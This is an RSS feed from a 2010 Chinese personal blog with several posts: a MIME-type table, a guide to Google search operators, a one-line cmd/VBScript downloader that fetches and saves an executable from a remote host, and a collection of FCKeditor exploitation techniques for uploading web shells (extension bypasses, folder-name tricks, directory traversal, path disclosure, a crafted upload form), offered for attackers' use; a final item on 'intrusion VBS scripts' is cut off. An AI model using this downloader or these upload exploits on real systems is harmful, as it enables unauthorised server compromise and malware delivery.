<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0">
<channel>
<title><![CDATA[孤狼在线 ┊ 回眸间已成沧海'' - Internet]]></title>
<link>http://www.missll.com/blog/</link>
<description><![CDATA[]]></description>
<language>zh-cn</language>
<copyright><![CDATA[Copyright 2005 PBlog3 v2.8]]></copyright>
<webMaster><![CDATA[ccnner@gmail.com(无心呢喃)]]></webMaster>
<generator>PBlog2 v2.4</generator> 
<image>
	<title>孤狼在线 ┊ 回眸间已成沧海&#39;&#39;</title>
	<url>http://www.missll.com/blog/images/logos.gif</url>
	<link>http://www.missll.com/blog/</link>
	<description>孤狼在线 ┊ 回眸间已成沧海&#39;&#39;</description>
</image>

			<item>
			<link>http://www.missll.com/blog/article/Internet/1212.htm</link>
			<title><![CDATA[常用文件的MIME类型]]></title>
			<author>ccnner@gmail.com(Missll)</author>
			<category><![CDATA[Internet]]></category>
			<pubDate>Mon,16 Aug 2010 00:29:50 +0800</pubDate>
			<guid>http://www.missll.com/blog/default.asp?id=1212</guid>
		<description><![CDATA[MIME类型就是设定某种扩展名的文件用一种应用程序来打开的方式类型，当该扩展名文件被访问的时候，浏览器会自动使用指定应用程序来打开。多用于指定一些客户端自定义的文件名，以及一些媒体文件打开方式。<br/><br/>下面列出常用的文件对应的MIME类型：<br/><br/>Mime-Types(mime类型)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Dateiendung(扩展名)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Bedeutung <br/><br/>application/msexcel&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *.xls *.xla&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Microsoft Excel Dateien <br/><br/>application/mshelp&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;*.hlp *.chm&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Microsoft Windows Hilfe Dateien <br/><br/>application/mspowerpoint&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;*.ppt *.ppz *.pps *.pot&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Microsoft Powerpoint Dateien <br/><br/>application/msword&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *.doc *.dot&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Microsoft Word Dateien <br/><br/>application/octet-stream&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;*.exe&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;exe <br/><br/>application/pdf&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *.pdf&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Adobe PDF-Dateien <br/><br/>application/postscript&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;*.ai *.eps *.ps&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Adobe Postscript-Dateien <br/><br/>application/rtf&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;*.rtf&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Microsoft RTF-Dateien <br/><br/>application/x-httpd-php&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *.php *.phtml&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; PHP-Dateien <br/><br/>application/x-javascript&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;*.js&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; serverseitige JavaScript-Dateien <br/><br/>application/x-shockwave-flash&nbsp;&nbsp;&nbsp;&nbsp;*.swf *.cab&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Flash Shockwave-Dateien <br/><br/>application/zip&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *.zip&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ZIP-Archivdateien <br/><br/>audio/basic&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *.au *.snd&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Sound-Dateien <br/><br/>audio/mpeg&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;*.mp3&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; MPEG-Dateien <br/><br/>audio/x-midi&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;*.mid *.midi&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; MIDI-Dateien <br/><br/>audio/x-mpeg&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *.mp2&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; MPEG-Dateien <br/><br/>audio/x-wav&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *.wav&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Wav-Dateien <br/><br/>image/gif&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *.gif&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; GIF-Dateien <br/><br/>image/jpeg&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;*.jpeg *.jpg *.jpe&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; JPEG-Dateien <br/><br/>image/x-windowdump&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *.xwd&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; X-Windows Dump <br/><br/>text/css&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;*.css&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; CSS Stylesheet-Dateien <br/><br/>text/html&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;*.htm *.html *.shtml&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; -Dateien <br/><br/>text/javascript&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *.js&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; JavaScript-Dateien <br/><br/>text/plain&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *.txt&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; reine Textdateien <br/><br/>video/mpeg&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;*.mpeg *.mpg *.mpe&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; MPEG-Dateien <br/><br/>video/vnd.rn-realvideo&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;*.rmvb&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;realplay-Dateien <br/><br/>video/quicktime&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *.qt *.mov&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Quicktime-Dateien <br/><br/>video/vnd.vivo&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *viv *.vivo&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Vivo-Dateien<br/><br/>]]></description>
		</item>
		
			<item>
			<link>http://www.missll.com/blog/article/Internet/1204.htm</link>
			<title><![CDATA[下载者]]></title>
			<author>ccnner@gmail.com(Missll)</author>
			<category><![CDATA[Internet]]></category>
			<pubDate>Sun,01 Aug 2010 19:57:08 +0800</pubDate>
			<guid>http://www.missll.com/blog/default.asp?id=1204</guid>
		<description><![CDATA[echo Set x=cr&#101;ateObject(^&#34;Microsoft.XMLHTTP^&#34;):x.Open ^&#34;GET^&#34;,LCase(WScript.Arguments(0)),0:x.Send():Set s=cr&#101;ateObject(^&#34;ADODB.Stream^&#34;):s.Mode=3:s.Type =1:s.Open():s.Write(x.responseBody):s.SaveToFile LCase(WScript.Arguments(1)),2 &gt;down.vbs &amp;down.vbs <a href="http://www.missll.com/all/aio.exe" target="_blank" rel="external">http://www.missll.com/all/aio.exe</a> c:\aio.exe]]></description>
		</item>
		
			<item>
			<link>http://www.missll.com/blog/article/Internet/1187.htm</link>
			<title><![CDATA[Google搜索命令语法]]></title>
			<author>ccnner@gmail.com(Missll)</author>
			<category><![CDATA[Internet]]></category>
			<pubDate>Sat,03 Jul 2010 13:50:51 +0800</pubDate>
			<guid>http://www.missll.com/blog/default.asp?id=1187</guid>
		<description><![CDATA[<span style="color:Orange">allinanchor</span>: anchor是一处说明性的文字，它标注说明了这个链接可能跳转到其它的网页或跳转到当前网页的不同地方。当我们用allinanchor提交查询的时候，Google会限制搜索结果必须是那些在anchor文字里包含了我们所有查询关键词的网页。例[ allinanchor: best museums Sydney ] ,提交这个查询，Google仅仅会返回在网页anchor说明文字里边包含了关键词”best” “museums” 和”Sydney”的网面。<br/><br/><span style="color:Orange">allintext</span>: 当我们用allintext提交查询的时候，Google会限制搜索结果仅仅是在网页正文里边包含了我们所有查询关键词的网页。例［allintext: travel packing list］,提交这个查询，Google仅仅会返回在一个网页包含了三个关键词”travel” “packing”和”list”的网页。<br/><br/><span style="color:Orange">allintitle</span>: 当我们用allintitle提交查询的时候，Google会限制搜索结果仅是那些在网页标题里边包含了我们所有查询关键词的网页。例［allintitle: detect plagiarism］，提交这个查询，Google仅会返回在网页标题里边包含了”detect”和”plagiarism”这两个关键词的网页。<br/><br/><span style="color:Orange">allinurl</span>: 当我们用allinurl提交查询的时候，Google会限制搜索结果仅是那些在URL（网址）里边包含了我们所有查询关键词的网页。例［allinurl: google faq］，提交这个查询，Google仅会返回在URL里边包含了关键词”google”和”faq”的网页，象www.google.com/help/faq.html等的网页。<br/><br/><span style="color:Orange">author</span>: 当我们用author进行查询的时候，Google会限制返回结果仅仅是那些在Google论坛里边，包含了特定作者的新闻文章。在这里，作者名可以是全名，也可以是一部分或邮件地址。例［children author:john author:doe］或［children author:doe@someaddress.com］返回结果将是作者John Doe 或是 doe@someaddress.com写的，关于包含关键词children的文章。<br/><br/><span style="color:Orange">bphonebook</span>: 用bphonebook进行查询的时候，返回结果将是那些商务电话资料。<br/><br/><span style="color:Orange">cache</span>: 提交cache:url ，Google会显示当前网页的快照信息，从而替换网页的当前信息。例［cache:www.eff.org］，提交这个查询，Google会返回所有抓取的关于www.eff.org的网页快照信息。在显示的网页快照信息里边，Google会高亮显示查询关键词。（在cache:和URL之间不能有空格）<br/><br/><span style="color:Orange">datarange</span>: 当我们使用datarange进行查询的时候，Google会将查询结果限制在一个特定的时间段内，这个时间相对于网站来说，是按网站被google收录的时间算的。例　&#34;Geri Halliwell&#34; &#34;Spice Girls&#34; daterange:2450958-2450968　。这里的时间日期格式是按天文学的儒略日。（这个搜索语法Google并不推荐使用，因为它会返回一些莫名其妙的东西）<br/><br/><span style="color:Orange">define</span>: 当我们用define进行查询的时候，Google会返回包含查询关键词定义的网面。例［define: blog］，这个查询将会返回Blog的定义。<br/><br/><span style="color:Orange">ext</span>: 这是一个没有证实的语法，可以用于filetype:查找扩散名为ext的文件。<br/><br/><span style="color:Orange">filetype</span>: 当我们在查询里边包含filetype:扩展名的时候，Google会限制查询结果仅返回特定文件类型的网页。例［资产评估　filetype:pdf］，这个查询将会返回所有文件类型为pdf的资产评估信息。其它可用的特定文件类型格式查询还有doc ,txt,ppt,xls.rtf,swf,ps等。<br/><br/><span style="color:Orange">group</span>: 当我们用group查询的时候，Google会限制我们的论坛查询结果仅是某几个固定的论坛组或是某些特定主题组的新闻文章。例［sleep group:misc.kids.moderated］，提交这个查询，Google仅会返回在用户组misc.kids.moderated里边包含了查询关键字”sleep”的文章。<br/><br/><span style="color:Orange">id</span>: 又是一个没有证实的语法，效果很一般。<br/><br/><span style="color:Orange">inanchor</span>: 当我们用inanchor提交查询的时候，Google会限制结果是那些在网页anchor链接里边包含了查询关键词的网页。例［restaurants inanchor:gourmet］，提交这个查询，Google会查询那些在anchor信息里包含了关键词”restaurants”和关键词”gourmet”的网页。<br/><br/><br/><span style="color:Orange">info</span>: 提交info:url，将会显示需要查询网站的一些信息。例［info:gothotel.com］，提交这个查询，将会返回网站gothotel.com的所有信息。<br/><br/>　 <br/><span style="color:Orange">insubject</span>: 当我们用insubject进行查询的时候，Google会限制论坛搜索结果仅是那些在主题里边包含了查询关键词的网面。［insubject:&#34;falling asleep&#34;］，提交这个查询，Google会返回在文章主题里边包含了”falling asleep”的文章。<br/><br/><span style="color:Orange">intext</span>: 当我们用intext进行查询的时候，Google会返回那些在文本正文里边包含了我们查询关键词的网页。［Hamish Reid intext:pandemonia］，提交这个查询的时候，Google会返回在文本正文包含查询关键字pandemonia，在其它任何地方包含关键词”Hamish”和”Reid”的网页。（intext:后面直接跟查询关键字，不能有空格）<br/><br/><span style="color:Orange">intitle</span>: 当我们用intitle进行查询的时候，Google会返回那些在网页标题里边包含了我们查询关键词的网页。例［flu shot intitle:help］，提交这个查询，Google会返回在网页标题包含了查询关键字”help”，而在其它任何地文包含了查询关键字”flu”和”shot”的网页。（intitle:后面也不能有空格）<br/><br/><span style="color:Orange">inurl</span>: 当我们用inurl进行查询的时候，Google会返回那些在URL（网址）里边包含了我们查询关键词的网页。例［inurl:print site:www.ssoooo.com］，提交这个查询，Google会查找www.ssoooo.com这个网站下面网址里边包含了查询关键词”print”的网页。<br/><br/><span style="color:Orange">link</span>: 当我们使用link:URL提交查询的时候，Google会返回跟此URL做了链接的网站。例［link:www.ssoooo.com］，提交这个查询，我们将得到所有跟www.ssooo.com这个网站做了链接的网站。（link是个单独的语法，只能单独使用，且后面不能跟查询关键词，跟能跟URL）<br/><br/><span style="color:Orange">location</span>: 当我们提交location进行Google新闻查询的时候，Google仅会返回你当前指定区的跟查询关键词相关的网页。例[ queen location:canada ]，提交这个查询，Google会返回加拿大的跟查询关键词”queen”相匹配的网站。<br/><br/><span style="color:Orange">movie</span>: 当我们用movie提交查询的时候，Google会返回跟查询关键词相关的电影信息。(当前只支持英文Google)<br/><br/><span style="color:Orange">phonebook</span>: 当我们用phonebook进行查询的时候，Google会返回美国当地跟查询关键词相关的电话信息。（使用phonebook的时候需要指定详细的州名和地点名）例，［phonebook:smith ca］<br/><br/><span style="color:Orange">related</span>: 用related提交查询，Google会返回跟我们要查询的网站结构内容相似的一些其它网站。例[ related:www.consumerreports.org ]，提交这个查询，Google会返回所有跟网站www.consumerreports.org结构内容相似的网站。我们也可以通过点击搜索结果后面的相似网页，来查询跟当前网页类似的网页。（related:后面不能跟空格）<br/><br/><br/><span style="color:Orange">rphonebook</span>: 这个查询用来搜索美国当地跟查询关键词相关的住宅电话信息。<br/><br/><span style="color:Orange">safesearch</span>: 用safesearch提交查询的时候，Google会过滤你搜索的结果，其中过滤的内容可能包括一些色情的，暴力，赌博性质的，还有传染病毒的网页。但是它不是百分之百确保安全的。例，［safesearch:breasts］。<br/><br/><span style="color:Orange">site</span>: 当我们用site提交查询的时候，Google会限制查询仅在某个网站，或是某个域下面进行。例［admissions site:www.lse.ac.uk］，提交这个查询仅仅会搜索网站www.lse.ac.uk下面关于admissions的信息。我们还可以限制搜索仅在域下面进行，例［javascript site:edu.cn］，提交这个查询，仅仅在教育网查询关于javascript的信息。（site:后面不能跟空格，且site命令可以配合其它命令进行）<br/><br/><span style="color:Orange">source</span>: 当用source提交查询的时候，Google新闻会限制我们的查询仅是那些我们指定了特定ID或新闻源的网址。例［election source:new_york_times］，提交这个查询，Google将会显示纽约时报包含了查询关键词”election”的相关文章。（我们也可以通过Google news高级搜索完成查询）<br/><br/>　 <br/><span style="color:Orange">stocks</span>: 当我们用stocks提交查询的时候，Google会返回跟查询关键词相关的股票信息，这些信息一般来自于其它一些专业的财经网站。<br/><br/><span style="color:Orange">store</span>: 当我们用store提交查询的时候，Google Froogle仅会显示我们指定了store ID的结果。例［polo shirt store:llbean］，提交这个查询，仅会搜索商店L. L. Bean.跟关键词”polo” “shirt”相关的结果。（只支持英文Google）<br/><br/><span style="color:Orange">tq</span>: 如果想查某个地方的天气如何,我们只要在Google搜索框中输入&#34;城市名称 Tq&#34;就可以查询到这个城市的天状况.例&#34;北京 tq&#34;,当然tq也可以用汉字的天气代替。<br/><br/><span style="color:Orange">weather</span>: 当我们用weather提交查询的时候，如果我们指出一个Google可以识别的地区或城市，Google会返回该地区或城市当前的天气状况。<br/><br/><br/>--------------<br/>转自:<a href="http://www.ssoooo.com/google-command.html" target="_blank" rel="external">http://www.ssoooo.com/google-command.html</a>]]></description>
		</item>
		
			<item>
			<link>http://www.missll.com/blog/article/Internet/1183.htm</link>
			<title><![CDATA[Fckeditor漏洞利用方法总结]]></title>
			<author>ccnner@gmail.com(Missll)</author>
			<category><![CDATA[Internet]]></category>
			<pubDate>Fri,18 Jun 2010 19:11:40 +0800</pubDate>
			<guid>http://www.missll.com/blog/default.asp?id=1183</guid>
		<description><![CDATA[查看编辑器版本<br/>FCKeditor/_whatsnew.html<br/>2. Version 2.2 版本<br/>Apache+linux 环境下在上传文件后面加个.突破！测试通过。<br/>3.Version &lt;=2.4.2 For php 在处理PHP 上传的地方并未对Media 类型进行上传文件类型的控制，导致用户上传任意文件！将以下保存为html文件，修改action地址。<br/><br/><br/>&lt;form id=”frmUpload” enctype=”multipart/form-data”<br/>action=”<a href="http://www.site.com/FCKeditor/ed" target="_blank" rel="external">http://www.site.com/FCKeditor/ed</a> ... load.php?Type=Media” method=”post”&gt;Upload a new file:&lt;br&gt;<br/>&lt;input type=”file” name=”NewFile” size=”50″&gt;&lt;br&gt;<br/>&lt;input id=”btnUpload” type=”submit” value=”Upload”&gt;<br/>&lt;/form&gt;<br/><br/>4.FCKeditor 文件上传“.”变“_”下划线的绕过方法<br/>很多时候上传的文件例如：shell.php.rar 或shell.php;.jpg 会变为shell_php;.jpg 这是新版FCK 的变化。<br/>4.1：提交shell.php+空格绕过<br/>不过空格只支持win 系统 *nix 是不支持的[shell.php 和shell.php+空格是2 个不同的文件 未测试。<br/>4.2：继续上传同名文件可变为shell.php;(1).jpg 也可以新建一个文件夹，只检测了第一级的目录，如果跳到二级目录就不受限制。<br/>—<br/>FCKeditor/editor/filemanager/connectors/asp/connector.asp?Command=Cr&#101;ateFolder&amp;Type=Image&amp;CurrentFolder=%2Fshell.asp&amp;NewFolderName=z&amp;uuid=1244789975684<br/>FCKeditor/editor/filemanager/browser/default/connectors/asp/connector.asp?Command=Cr&#101;ateFolder&amp;CurrentFolder=/&amp;Type=Image&amp;NewFolderName=shell.asp<br/>6. FCKeditor 中test 文件的上传地址<br/>FCKeditor/editor/filemanager/browser/default/connectors/test.html<br/>FCKeditor/editor/filemanager/upload/test.html<br/>FCKeditor/editor/filemanager/connectors/test.html<br/>FCKeditor/editor/filemanager/connectors/uploadtest.html<br/>7.常用上传地址<br/>FCKeditor/editor/filemanager/browser/default/connectors/asp/connector.asp?Command=GetFoldersAndFiles&amp;Type=Image&amp;CurrentFolder=/<br/>FCKeditor/editor/filemanager/browser/default/browser.html?type=Image&amp;connector=connectors/asp/connector.asp<br/>FCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&amp;Connector=http://www.site.com%2Ffckeditor%2Feditor%2Ffilemanager%2Fconnectors%2Fphp%2Fconnector.php (ver:2.6.3 测试通过)<br/>JSP 版：<br/>FCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&amp;Connector=connectors/jsp/connector.jsp<br/>注意红色部分修改为FCKeditor 实际使用的脚本语言，蓝色部分可以自定义文<br/>件夹名称也可以利用../..目录遍历，紫色部分为实际网站地址。<br/>8.其他上传地址<br/>FCKeditor/_samples/default.html<br/>FCKeditor/_samples/asp/sample01.asp<br/>FCKeditor/_samples/asp/sample02.asp<br/>FCKeditor/_samples/asp/sample03.asp<br/>FCKeditor/_samples/asp/sample04.asp<br/>一般很多站点都已删除_samples 目录，可以试试。<br/>FCKeditor/editor/fckeditor.html 不可以上传文件，可以点击上传图片按钮再选择浏览服务器即可跳转至可上传文件页。<br/>9.列目录漏洞也可助找上传地址<br/>Version 2.4.1 测试通过<br/>修改CurrentFolder 参数使用 ../../来进入不同的目录<br/>/browser/default/connectors/aspx/connector.aspx?Command=Cr&#101;ateFolder&amp;Type=Image&amp;CurrentFolder=../../..%2F&amp;NewFolderName=shell.asp<br/>根据返回的XML 信息可以查看网站所有的目录。<br/>FCKeditor/editor/filemanager/browser/default/connectors/aspx/connector.aspx?Command=GetFoldersAndFiles&amp;Type=Image&amp;CurrentFolder=%2F<br/>也可以直接浏览盘符：<br/>JSP 版本：<br/>FCKeditor/editor/filemanager/browser/default/connectors/jsp/connector?Command=GetFoldersAndFiles&amp;Type=&amp;CurrentFolder=%2F<br/>10.爆路径漏洞<br/>FCKeditor/editor/filemanager/browser/default/connectors/aspx/connector.aspx?Command=GetFoldersAndFiles&amp;Type=File&amp;CurrentFolder=/shell.asp<br/>11. FCKeditor 被动限制策略所导致的过滤不严问题<br/>影响版本: FCKeditor x.x &lt;= FCKeditor v2.4.3<br/>脆弱描述：<br/>FCKeditor v2.4.3 中File 类别默认拒绝上传类型：<br/>html|htm|php|php2|php3|php4|php5|phtml|pwml|inc|asp|aspx|ascx|jsp|cfm|cfc|pl|bat|exe|com|dll|vbs|js|reg|cgi|htaccess|asis|sh|shtml|shtm|phtm<br/>Fckeditor 2.0 &lt;= 2.2 允许上传asa、cer、php2、php4、inc、pwml、pht 后缀的文件上传后它保存的文件直接用的$sFilePath = $sServerDir . $sFileName，而没有使用$sExtension 为后缀.直接导致在win 下在上传文件后面加个.来突破[未测试]!<br/>而在apache 下，因为”Apache 文件名解析缺陷漏洞”也可以利用之，另建议其他上传漏洞中定义TYPE 变量时使用File 类别来上传文件,根据FCKeditor 的代码，其限制最为狭隘。<br/>在上传时遇见可直接上传脚本文件固然很好，但有些版本可能无法直接上传可以利用在文件名后面加.点或空格绕过，也可以利用2003 解析漏洞建立xxx.asp文件夹或者上传xx.asp;.jpg!<br/>12.最古老的漏洞，Type文件没有限制！<br/>我接触到的第一个fckeditor漏洞了。版本不详，应该很古老了，因为程序对type=xxx 的类型没有检查。我们可以直接构造上传把type=Image 改成Type=hsren 这样就可以建立一个叫hsren的文件夹，一个新类型，没有任何限制，可以上传任意脚本！<br/>----------<br/>暗组转过来的.可能用的到.]]></description>
		</item>
		
			<item>
			<link>http://www.missll.com/blog/article/Internet/1180.htm</link>
			<title><![CDATA[一些入侵用到的vbs脚本 ]]></title>
			<author>ccnner@gmail.com(Missll)</author>
			<category><![CDATA[Internet]]></category>
			<pubDate>Mon,17 May 2010 12:25:03 +0800</pubDate>
